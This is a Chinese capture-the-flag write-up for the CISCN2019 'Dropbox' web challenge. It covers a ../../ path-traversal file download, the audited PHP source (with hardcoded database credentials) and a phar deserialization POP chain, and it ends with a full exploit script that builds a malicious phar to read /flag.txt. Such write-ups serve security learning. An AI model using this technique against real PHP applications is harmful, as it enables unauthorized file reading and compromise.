[CISCN2019 华北赛区 Day1 Web1]Dropbox

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发现可以注册!试了试admin!日居然可以进入!

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难道是文件上传!

不是!

看了大佬的文章,是个代码审计!

最怕代码审计!!!

首先是任意文件下载漏洞

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下载下来:

index.php,还有已经遇见的upload.php, register.php, login.php, download.php, delete.php,再加上这些php文件中include的class.php,我们都下载下来。

着里有点注意:

你不知道他在那个目录!平常我都会把上传文件放到upload文件夹里!

但是这个题他是放到网站主目录/sandbox/hash 目录下的,所以要想下载php文件必须跳转到上级目录,

../../

代码审计

class.php


//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php

//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

发现delete.php可以利用!

phar反序列化

利用的pop链

通过user类调用FileList类的close方法!没有就触发__call方法!

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

array_push在一个数组后面继续添加内容!

foreach遍历数组!$file是每次数组里的值!

$file->$func();通过这个触发File类里的file_get_contents方法

public function close() {
return file_get_contents($this->filename);
}

还有就是$this->files = array($file);注意一点把!

basename()提取文件名!

exp

<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

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